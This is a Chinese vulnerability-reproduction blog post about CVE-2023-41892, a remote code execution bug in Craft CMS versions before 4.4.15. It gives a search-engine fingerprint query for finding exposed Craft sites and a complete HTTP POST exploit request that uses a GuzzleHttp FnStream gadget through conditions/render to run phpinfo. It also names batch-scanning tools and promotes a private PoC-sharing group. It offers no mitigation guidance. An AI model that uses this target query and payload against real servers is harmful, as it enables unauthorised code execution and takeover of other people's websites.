当前位置: 首页 > news >正文

【漏洞复现】CraftCMS ConditionsController.php 代码执行漏洞(CVE-2023-41892)

0x01 产品简介

Crat CMS是一个开源的内容管理系统,它专注于用户友好的内容创建过程,逻辑清晰明了,是一个高度自由,高度自定义设计的平台,可以用来创建个人或企业网站也可以搭建企业级电子商务系统。

0x02 漏洞概述

Craft CMS在4.4.15版本之前存在远程代码执行漏洞,攻击者可构造恶意请求执行任意代码,控制服务器。

0x03 搜索语法

title=="Welcome to Craft CMS" || header="X-Powered-By: Craft CMS"

在这里插入图片描述

0x04 漏洞复现

POST /ConditionsController.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflateaction=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

http://www.lryc.cn/news/369429.html

相关文章:

  • 代码随想录算法训练营第三十八 |● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯
  • 如何有效处理服务器后台密码暴露
  • 使用本地大模型调用代码,根本就是一场骗局!
  • 一些简单却精妙的算法
  • git多账号使用报错:You don‘t have permissions to push to “xxx/xxxx“ onGitHub. Would
  • 中国电子学会(CEIT)2023年12月真题C语言软件编程等级考试三级(含详细解析答案)
  • 多线程爬取百度图片
  • RK3568-修改fiq-debugger调试串口
  • 我们离成功有多远呢?只要能完成自己阶段性的目标就算是一次成功
  • Golang 避坑指南
  • Java核心: JarIndex的使用
  • 1052 卖个萌(测试点1,2)
  • Vue 3与ESLint、Prettier:构建规范化的前端开发环境
  • npm安装依赖过慢
  • 计算机毕业设计 | SpringBoot+vue的教务管理系统
  • 深入探索深度学习的验证集:必要还是可选?
  • 初识C++ · 反向迭代器简介
  • fastapi学习前置知识点
  • 机器学习常见知识点 1:Baggin集成学习技术和随机森林
  • 容器(Docker)安装
  • 前端JS必用工具【js-tool-big-box】学习,获取当前浏览器向上滚动还是向下滚动,获取当前距离顶部和底部的距离
  • 【python】flask 框架
  • Word中插入Mathtype右编号,调整公式与编号的位置
  • 基于【Lama Cleaner】一键秒去水印,轻松移除不想要的内容!
  • VMware Workstation Ubuntu server 24 (Linux) 磁盘扩容 挂载硬盘
  • 表的设计与查询
  • 【react】如何合理使用useEffect
  • 计算机专业英语Computer English
  • 目前比较好用的LabVIEW架构及其选择
  • CSS之块浮动